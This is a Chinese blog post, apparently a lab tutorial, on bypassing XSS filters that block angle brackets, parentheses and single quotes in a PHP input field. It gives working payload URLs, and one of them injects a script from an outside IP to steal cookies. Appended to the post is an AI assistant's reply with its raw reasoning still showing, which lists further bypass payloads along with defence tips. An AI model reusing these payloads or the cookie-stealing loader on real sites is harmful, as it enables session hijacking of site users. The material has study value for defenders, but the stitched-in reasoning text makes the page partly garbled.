【应用安全——XSS】过滤圆括号、尖括号绕过

本文通过一个具体的PHP程序实例,详细解析了如何利用XSS(跨站脚本)攻击手段,绕过输入过滤,实现代码注入并最终获取目标网站的Cookie信息。文中展示了多种绕过技巧,包括使用URL编码的小括号、双引号替代单引号等。

先看下程序大概写法:

<?php
header("X-XSS-Protection:0");
$out = $_GET['code'];
$out = str_replace("<","&lt;",$out);
$out = str_replace(">","&gt;",$out);
$out = str_replace("("," ",$out);
$out = str_replace(")"," ",$out);
$out = str_replace("'"," ",$out);
echo "<html>
<body>
<input value=\"$out\">
</body>
</html>";
?>

首先编码了尖括号,那么无法闭合input标签,注意到这里是没有过滤双引号的。

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=alert(1) x="

输出源码如下:

<input value="1" autofocus onfocus=alert 1  x="">

因为过滤了小括号,无法弹窗,可以考虑用location中URL编码小括号绕过。

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=location='javasCript:alert%25281%2529' x="

但是这里过滤了单引号,我们改为双引号

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=location="javasCript:s=document.createElement%2528%2522script%2522%2529;s.src=%2522//120.92.84.50/myjs/cookie.js%2522;document.body.appendChild%2528s%2529;" x="

或者使用this.name传入,修改如下:

http://192.168.192.120:8080/1.php?code=1" name=javasCript:alert%25281%2529 autofocus onfocus=location=this.name x="

可以成功弹窗了,然后引入js,获取Cookie。

参考文章:
https://www.secpulse.com/archives/47696.html

<think>嗯,用户询问的是关于XSS攻击中绕过尖括号过滤的技术方法。这个问题涉及Web安全领域,需要深入理解XSS攻击原理和常见的防御绕过技巧。 用户可能正在研究XSS漏洞的挖掘或防御,也可能是开发人员想了解如何防范这类攻击。从问题的专业性来看,用户应该有一定安全基础,但需要更具体的绕过技术细节。 我注意到引用资料里提到了几种关键方法:使用Unicode转义序列(如u003c替代<)、利用JS编码特性、HTML实体编码、URL双重编码等。这些都很实用,但需要更系统地组织。 在回答时,我会先解释为什么尖括号过滤重要(因为<和>是构造恶意标签的关键),然后分三类说明绕过技术: 1. 字符替代方案:包括Unicode、HTML实体、URL编码等 2. 上下文利用:比如在JS字符串中直接执行代码而不依赖标签 3. 特殊符号技巧:用反引号、注释符等分割关键字符 特别要注意引用[3]提到的字符编码细节,比如十进制(<)和十六进制(<)的区别,以及双写绕过的案例。用户提供的示例中location=this.location.hash.slice%601%60这个payload很有启发性,展示了如何用反引号代替括号。 最后需要强调防御建议,避免回答被滥用。比如提到输入过滤要结合输出编码,以及内容安全策略(CSP)的重要性。</think>以下是XSS攻击中绕过尖括号过滤的技术方法及原理分析,结合引用资料进行说明: --- ### **一、尖括号过滤绕过原理** 当防御系统过滤`<`和`>`时,攻击者可通过以下方式构造等效字符: 1. **Unicode 转义** 使用JS的Unicode表示:`\u003c` 代替 `<`,`\u003e` 代替 `>` ```javascript \u003cscript\u003ealert(1)\u003c/script\u003e // 等价于 <script>alert(1)</script> ``` *引用[1]中通过运行时输出尖括号验证了此方法的可行性* 2. **HTML 实体编码** 十进制/十六进制实体编码: ```html <img src=x onerror=alert(1)> <!-- 十进制 --> <img src=x onerror=alert(1)> <!-- 十六进制 --> ``` --- ### **二、无尖括号XSS构造技术** 当无法使用任何形式的尖括号时,可采用以下方法: 1. **事件处理器注入** 利用现有HTML标签的属性执行代码: ```html " onmouseover="alert(1)" <!-- 输入到 href/onclick 等属性中 --> ' onfocus=alert(1) autofocus=' <!-- 结合自动聚焦触发 --> ``` 2. **JavaScript伪协议** 在URL上下文中直接执行JS: ```url javascript:alert(document.domain) ``` *引用[2]示例通过`location=this.location.hash.slice%601%60`实现代码分割执行* 3. **模板字符串绕过** 使用反引号代替括号调用函数: ```javascript alert`1` // 等效于 alert(1) ``` --- ### **三、高级绕过技巧** 1. **编码组合绕过** 双重URL编码 + JS解码: ```url %2522onload%253d%2522alert%25281%2529 // 前端解码后变为 "onload="alert(1) ``` 2. **注释符干扰检测** 插入非常规字符分割关键词: ```javascript <scr/*!@#$%*/ipt> // WAF可能无法识别被注释符分割的"script" ``` 3. **字符集与换行符利用** ```html <img src="a" onerror =alert(1)> <!-- 换行符绕过行内检测 --> ``` --- ### **四、防御建议** 1. **输出编码** 根据上下文采用不同编码(HTML实体/JS编码/URL编码) 2. **CSP策略** 设置`Content-Security-Policy`限制脚本来源 3. **双重过滤** 同时过滤输入和输出端,避免单一依赖(*引用[3]强调双写和大小写绕过风险*) > **重要提示**:以上技术仅限安全研究,实际攻击属违法行为。防御需结合上下文感知的过滤规则,如检测`\u003c`、`javascript:`等关键模式。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值